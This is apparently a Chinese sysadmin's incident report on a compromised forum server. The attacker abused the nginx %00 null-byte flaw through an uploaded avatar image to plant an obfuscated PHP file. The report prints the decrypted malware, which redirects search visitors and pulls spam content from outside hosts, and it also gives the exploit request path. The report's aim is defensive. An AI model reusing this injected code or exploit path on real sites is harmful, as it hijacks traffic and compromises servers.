导读:

服务器突然负载比平常高出了50%,经过长时间分析发现原来是***利用nginx的一个漏洞,通过图片上传了含有代码的图片,然后调用图片使用post传入代码,生成一个含有推广链接代码的php可执行文件,代码在调用时需要多次解密,因此直接导致负载升高。

 

起因:

今天早上来到公司照例打开cacti监控查看服务器的运行情况,突然发现两台网站服务器的负载比平时高了50%,这个主要从CPU的使用情况以及服务器的load值来看。

 

排查:

于是赶紧登录到服务器上使用top命令查看,发现是一些php-fpm的进程瞬间占用了大量的CPU,奇怪,平时那些php-fpm的进程占用CPU很少超过2%的,今天怎么有的会达到100%,于是赶紧咨询运维的同事昨天是不是有程序发布到正式环境。同事回答却是有,发布时间为19:48左右,对照cacti的查看,发现负载升高是在凌晨3点中左右,因此可以初步确认发布和负载升高没什么直接的关系。

 

那么到底是什么导致服务器的负载一下子升高了那么多呢?带着这个疑问,我开始采用linux下的一些命令行工具开始排查,过程如下:

首先查看进程是否打开什么文件,找到进程高的pidcat  /proc/pid/fd 没有发现有打开的文件,接着采用strace –p pid跟踪相应的占用cpu高的php-fpm进程,也很难发现问题,因为占用CPU高的进程不是一直占用CPU高,而是瞬间的,所以很难跟踪。然后采用lsof命令查看相应的占用CPU高的pidlsof –p pid ,发现路径都是指向bbs根目录下,因此初步确定bbs根目录必定有蹊跷。

目前可以确定的是bbs根目录和这次的负载高有直接的联系,那么如何找到其中的联系呢?我的思路是想找出是什么php文件引起的,也就是php-fpm进程是调用的哪个PHP文件的时候会出现负载突然升高的情况呢?请教了几个高手都不清楚,在网上找了半天也没找到合适的答案,突然想起前段时间出现类似的***事件,也是导致服务器负载高了很多,上次***事件是因为nginx一个文件上传的漏洞导致,并且为了防止此类事情的发生已经写了一个专门检测php文件的脚本,采用对文件进行md5的形式,如果现在的文件的md5和原始文件不匹配就会发短信和邮件报警。同时也开启了nginxpost日志,会记录用户执行post操作的内容。似乎突然来了灵感,赶紧运行了那个文件检测脚本,发现一个forums.php异常,服务器上本来不存在这个文件的,***者为了隐藏其链接,对该文件中的代码做了30多次的加密封装,通过开发同事的协助解密该文件后发现如下内容:

error_reporting(E_ERROR);

$domain=$_SERVER['SERVER_NAME'];

$dddd = $_SERVER['PHP_SELF'];

$qqqq=$_SERVER["QUERY_STRING"];

$filename = end(explode('/',$dddd));

 

if(stristr($_SERVER['HTTP_REFERER'],'baidu.com/'))

Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);

else if(stristr($_SERVER['HTTP_REFERER'],'google.com.hk/search?'))

Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);

else if(stristr($_SERVER['HTTP_REFERER'],'soso.com/q?'))

Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);

else

{

if($qqqq=="")

{

$a="http://".$domain.$_SERVER['PHP_SELF'];

$show = file_get_contents('http://localtemp.665203.com/server.php?gid='.rand(1,20000).'&domain='.$domain.'&filename='.$filename.'&url='.$a);

echo $show;

}

else

{

$qqqq=str_replace('&',"",$qqqq);

$a="http://".$domain.$_SERVER['PHP_SELF']."?gid=".$qqqq;

$show=file_get_contents('http://localtemp.665203.com/server.php?gid='.$qqqq."&domain=".$domain.'&filename='.$filename.'&url='.$a);

echo $show;

}

}

?>

很明显,服务器中马了。将此文件备份后删除,服务器的负载马上降了下来,看来这个文件就是罪魁祸首了。现在知道了是这个文件导致的,那么这个文件是通过什么方式上传上来的呢?如何避免再次被种马,接下来详细分析一下是什么漏洞导致了这次***事件,如何来预防?

 

分析:

查看到那个***文件的更改时间是凌晨的3点零4分,那么这个文件的上传时间可能就是凌晨的3点零4分,带着这个疑问,就去查看服务器网页日志文件,发现了***的蛛丝马迹,从日志中显示,该用户是通过上传头像,头像中含有php代码,然后利用Nginx %00空字节执行任意代码(php)漏洞,通过POST /ucenter/data/tmp/upload545562.jpg%00.php的方式,把代码写入到论坛根目录,从 http://sebug.net/vuldb/ssvid-20898 查到了该漏洞,nginx nginx 0.5.* nginx 0.6.*nginx 0.7 <= 0.7.65nginx 0.8 <= 0.8.37这些版本都存在这个漏洞,只需要将版本升级到0.8.37以上的版本就能解决,因此将马上将nginx升级至1.0.12版本,问题解决!  

经验教训:

通过这次***事件,有几个教训和心得和大家分享一下: Ø  积极关注服务器的相关安全漏洞, Nginx %00 的漏洞去年凌晨的2011-07-20就出来了,如果关注及时的话此次***时间完全可以避免。 Ø  对所有的程序文件都定期的进行md5校验,当出现不一致的时候检查代码文件,能更快的发现代码文件被改的迹象,减少损失。 Ø  对服务器的权限严格控制,如果设置了论坛根目录不能写入,此次***也能避免。 Ø  加强监控,每天关注服务器的运行情况,对服务器突然的异常保持敏感并马上着手排查。 因此以后主要从这三方面来加强web服务器的安全。